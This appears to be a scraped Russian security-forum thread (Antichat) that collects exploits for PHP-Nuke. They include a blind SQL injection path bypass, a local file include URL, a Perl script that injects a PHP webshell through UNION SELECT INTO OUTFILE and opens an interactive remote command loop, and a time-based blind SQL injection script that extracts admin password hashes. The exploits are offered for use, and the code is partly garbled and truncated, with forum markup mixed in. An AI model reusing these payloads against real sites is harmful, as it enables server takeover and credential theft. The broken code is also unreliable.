ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Product: Module: UserControl
Author: pattidor@mail.ru
Version: V.1.0

Blind-SQL

file: admin/modules/usercontrol.php
В самом начале файла,защита:
Тоесть,вызвать скрипт можно только из админки.Простой и элегантный обход (:
Вызываем скрипт,например так:
target: http://example.com/admin/modules/usercontrol.php//admin.php?prefix={SQL}
Пробывал на никсах и окошках - прошло на ура.
Далее, $aid Как видим урезаеться до 25 символов.Если уложитесь - крутите через нее.Если нет - то есть еще $prefix

# Exploit Title: [PHP-Nuke 'friend.php' Module Remote SQL Injection]
# Date: [05.05.2010]
# Author: [CMD]
# Contact : cemede@ilkposta.com
# Version: [all version]

Example1:Example2:

Topic : Php-Nuke

Bug type : Local File Include Vulnerability

Author : ItSecTeam

===================== Content ======================

( # Advisory Content : Php-Nuke Lastest Version

( # Mail : Bug@ItSecTeam.com

( # Dork : Php-Nuke Lastest Version

( # We Are : M3hr@n.S , 0xd41684c654 And All Team Members!

( # Find By : Amin Shokohi(Pejvak!)

( # Published: 2010-03-14

=================================================

============================================= Exploit =======================================

( * http://Site.cOm/PHP-Nuke/modules.php?view=0&name=Folder Name&file=File Name

( Ex : http://Site.cOm/PHP-Nuke/modules.php?view=0&name=Content/admin&file=panel

================================================== =================================

# PHP-Nuke REMEMBER TO ADD THE FINAL / TO THE HOSTNAME ";# Change Here to

Set your custom shell(forexampleusesystem() );

my $cookies=HTTP::Cookies->new;

my $request=LWP::UserAgent->new;

$request->agent("Mozilla 5/0");

$request->cookie_jar($cookies);

#END VARS

sub Full_Path_Disclosure() {

my $Get=$request->get($host.'themes/NukeNews/theme.php');

if ($Get->content=~ /No such fileordirectory in(.+?)on line/i) {

return $1;

} else {

return"failed";

}

}

print" * Getting Full Path\n";

my $path=Full_Path_Disclosure();

die" * Failed Path Extraction"if ($path eq"failed");

$path=~s/themes(\/|\\)NukeNews(\/|\\)theme.php//g;

print" * Full Path Found:$path\n";

if ($path=~m/\\/) {

$path=~s/\\/\\\\\\\\/g;

}

print" * Injecting Shell To$host\n";

my $req2=$request->post($host."modules.php?name=Your_Account&op=activate&usernam e=WTF",

{

check_num=>"'UNION/**/SELECT 1,2,3,4,5,6,'".$shell."' FROM

`nuke_authors` INTO OUTFILE '$path"."rce.php",

},

Referer=>$host."index.php");

print" * Injecting Successfully Completed\n";

print" * Shell now available on$host"."rce.php\n";

print" * Connecting to remote shell\n";

sleep(4);

print" * Connected.. Type \"quit\" to quit\n";

while() {

print"* root\@backdoor ~\$ ";

$cmd= <>;

chomp($cmd);

lastif$cmd eq"quit";

$req2=$request->get($host."/rce.php?cmd=".$cmd);

print$req2->content."\n";

}

[/COLOR]
[/PHP]

[COLOR="Green"]# [0-Day] PHP-Nuke aradox

# Greetings To: Shotokan-The Hacker, _mRkZ_, h473

# Web Site: www.warwolfz.org

# My Wagend (Dante90): dante90wwz.altervista.org

# ----

# Why have I decided to publish this?

# Because some nice guys (Dr.0rYX and Cr3w-DZ) have ripped and published

# my own exploit, with their names.

# FU**ING LAMERS / RIPPERS / SCRIPT KIDDIE

# ----

[PHP]
PHP:
[COLOR="#000000"]#!/usr/bin/perl

# [0-Day] PHP-Nuke new(POST=>$HostName.'modules.php?name=Downloads&d_op=Add');

my $Cookies= newHTTP::Cookies;

my $UserAgent= newLWP::UserAgent(

agent=>'Mozilla/5.0',

max_redirect=>0,

cookie_jar=>$Cookies,

default_headers=>HTTP::Headers->new,

) or die $!;

my $WaRWolFz="http://www.warwolfz.org/";

my $DefaultTime=request($WaRWolFz);

my $Post;

sub Blind_SQL_Jnjection{

my($dec,$hex,$Victime) = @_;

return"http://www.warwolfz.org/' UNION/**/SELECT IF(SUBSTRING(pwd,${dec},1)=CHAR(${hex}),benchmark(250000000,CHAR(0)),0) FROM nuke_auth ors WHERE aid='${Victime}";

}

for(my $I=1;$I F

$Post=Blind_SQL_Jnjection($I,$chars[$J],$Victime);

$Time=request($Post);

sleep(3);

refresh($HostName,$DefaultTime,$chars[$J],$Hash,$Time,$I);

if ($Time>4) {

$Time=request($Post);

refresh($HostName,$DefaultTime,$chars[$J],$Hash,$Time,$I);

if ($Time>4) {

syswrite(STDOUT,chr($chars[$J]));

$Hash.=chr($chars[$J]);

$Time=request($Post);

refresh($HostName,$DefaultTime,$chars[$J],$Hash,$Time,$I);

last;

}

}

}

if($I==1&&length $Hashpost($HostName.'modules.php?name=Downloads&d_op=Add', {

title=>"Dante90",

url=>$Post,

description=>"WaRWolFz Crew",

auth_name=>"Dante90",

email=>"dante90.dmc4\@hotmail.it",

filesize=>"1024",

version=>"1",

homepage=>"http://www.warwolfz.org/",

d_op=>"Add"

},

Referer=>$HostName.'modules.php?name=Downloads&d_op=Add');

$Response->is_success() or die"$HostName: ",$Response->message,"\n";

$End=Time::HiRes::time();

$Time=$End-$Start;

return$Time;

}

sub usage{

system("cls");

{

print[COLOR="#DD0000"]" \n [0-Day] PHP-Nuke